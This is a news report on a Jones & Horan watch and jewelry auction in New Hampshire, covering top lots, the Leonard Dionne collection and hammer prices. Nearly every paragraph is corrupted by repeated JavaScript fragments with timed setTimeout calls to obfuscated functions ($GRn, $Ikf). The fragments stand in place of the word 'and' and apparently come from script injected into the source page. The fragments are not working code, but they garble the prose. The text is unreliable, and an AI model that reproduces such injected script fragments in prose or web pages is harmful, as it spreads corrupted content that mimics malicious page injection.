By: Victoria Winslow

MANCHESTER, N.H. — Jones & Horan’s May 4 auction featured several estates, including the horological collection of master repairman Leonard Dionne, fine diamond jewelry from a Manhattan estate, a collection of enamel pocket watches from a European gentleman andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other private sources.

The sale grossed just over $1.1 million, with many sought-after pieces selling well above high estimates. There were two lots that tied as tops in the sale, each selling for $37,000. The first was a rare Howard andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Co., Boston pocket watch, the earliest model known, dating to 1858; the other was a Rolex moon phase wristwatch, the famous so-called “Astronomic.” The Rolex was also one of the top buys of the auction, according to auctioneer George Jones. Keeping the price down was the re-done dial andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a missing chapter marker. Had this watch been in original condition, the value would be $80/130,000, he said.

Fine American watches achieved strong prices, with a US Watch Co. man’s pocket watch selling for $9,000; a Masonic Dudley 12 size within a display case going for $3,600; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Pennsylvania Special gold pocket watch selling for $7,400.

Continental pieces also fared well: an unusual Hilgers, Paris gold, enamel andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and diamond-set fusee, exquisitely painted with enamel on the inside of the case as well as outside, sold well above the $5/9,000 estimate for $13,000. A beautiful Patek Philippe & Cie, Geneve, triple-signed Tiffany & Co. enamel lady’s pendant watch with pin did well, performing within estimate, at $8,000. A French Empire stickpin watch with a rare form of lever escapement andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and exposed balance sold at its low estimate of $6,200.

Nearly 130 lots in the sale were from the Leonard Dionne collection. Dionne was born in Maine in 1916 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and began repairing watches at age 20. He worked for Polaroid during the war, helping to develop the first camera andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and notably, on Project Dove — developing the first heat-seeking missile. The Dionne offerings included many tools andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and movements, which saw strong interest across the board, realizing well over $100,000.

The auction featured a good selection of jewelry including some lovely diamonds from a Manhattan estate: a 2.72-carat center stone platinum andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and emerald cut diamond ring, appraised at $10/15,000 sold for $17,000, a 1.84 carat diamond ring achieved $12,500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a pair of large diamond stud earrings were a good buy at $6,400 ($6,5/8,500). One unusual lot was an exceptional Renaissance Revival hardstone cameo brooch featuring a finely carved bust of a lady with an intricate lace collar, estimated at $2,5/$3,500, the piece sold for a reasonable $2,400.

Jones & Horan specializes in fine timepieces, jewelry andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and coins. It holds two sales a year, which feature no buyer’s premium andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and no sales tax. All prices reported above are hammer prices.

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